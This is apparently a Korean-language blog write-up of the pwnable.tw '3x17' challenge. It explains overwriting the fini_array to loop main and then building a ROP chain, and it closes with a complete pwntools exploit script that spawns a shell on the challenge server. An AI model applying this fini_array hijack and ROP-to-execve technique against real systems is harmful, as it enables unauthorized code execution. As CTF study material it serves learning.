ghkdtlwns987

[pwnable.tw] 3x17 본문

pwnable.tw

[pwnable.tw] 3x17

2020/03/31 2020. 11. 20. 14:59

file 3x17 을 하면 stripped 되어있고, statically linked 되어 있는 것을 확인 할 수 있다.

checksec 으로 보호기법을 확ㅇ니해 보면 Partical RELRO 임으로 특정 got나 갑을 덮을 수 있을 것이다. 

기드라로 한번 들여다 보자.

프로그램이 ㅅ일행되면 addr 과 data 가 출력되며 입력받는데, 

gdb에서 info func() 로 확인했을 땐 main() 함수가 없었으므로 직접 찾아봐야 한다.

 

여기를 보면 addr을 출력해 주는 함수가 main() 함수라고 추측 할 수 있다.

그렇다면 main() 함수의 주소는 0x401b6d 가 될 것이다.

 

main() 함수를 보면 addr 로 값을 입력받고, 그 값에 데이터를 덮을 수 있도록 되어있다.

 

그럼 main() 함수가 하나 존재하고, 단지 여기 있는 함수에서 특정 값을 덮어야 하는 건데, 

init_fini() 함수를 덮도록 할 것이다.

 

init_fini() 함수란? -> main() 함수가 종료되면 프로그램 내부적으로 __GI_exit() 함수를 호출하는데, 

__GI_exit 함수 내부에 init_fini() 함수가 존재한다. 

 

+fini 는 data 섹션에 존재한다. 

+Partical RELRO 이기 때문에, fini 값을 임의로 덮어 exploit 할 수 있다.

+init_fini 는 fsb, bof 기법으로도 exploit 할 수 있다.

 

★여기서 중요한 것은 fini() 는 2개를 인자로 받는데, 

2번째 인자를 넣을 수 있는데, 2번째 인자가 먼저 호출되고, 그 이후 1번째 인자가 실행이 된다. 

 

=> 그럼 1번째 인자에 fini 를 넣어주고, 2번째 인자에 main() 함수를 넣어주게 되면 무한루프가 돌아가는데, 

이를 이용해 ROP 로 exploit 하면 된다.

 

fini_array 영역 주소

fini() 함수 주소

from pwn import*
import argparse
context(arch='amd64',os='linux')
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']

parser = argparse.ArgumentParser()
parser.add_argument('-r','--remote',action='store_true',help='-r -> remote')

args = parser.parse_args()

host = 'chall.pwnable.tw'
port = 10105

if args.remote:
    r = remote(host,port)
else:
    r = process('./3x17')
    gdb.attach(r)

def write_fini(addr, data):
    r.sendlineafter('addr:',str(addr))
    r.sendafter('data:',data)

elf = ELF('./3x17')

main = 0x401b6d
fini_call = 0x402960
fini = 0x4b40f0
bss = elf.bss()
pop_rax = 0x41e4af
pop_rsi = 0x406c30
pop_rdi = 0x401696
pop_rdx = 0x446e35
leave_ret = 0x401c4b
syscall = 0x481ca5

write_fini(fini, p64(fini_call) + p64(main))
write_fini(bss, '/bin/sh')
write_fini(fini + 16, p64(pop_rax) + p64(59))
write_fini(fini + 32, p64(pop_rdi) + p64(bss))
write_fini(fini + 48, p64(pop_rsi) + p64(0))
write_fini(fini + 64, p64(pop_rdx) + p64(0))
write_fini(fini + 80, p64(syscall))
write_fini(fini, p64(leave_ret))

r.interactive()

 

'pwnable.tw' 카테고리의 다른 글

[pwnable.tw] hacknote  (0) 2020.12.07
[pwnable.tw] dubblesort  (0) 2020.11.22
[pwnable.tw] calc  (0) 2020.11.18
[pwnable.tw] orw  (0) 2020.11.16
[pwnable.tw] start  (0) 2020.11.16
Comments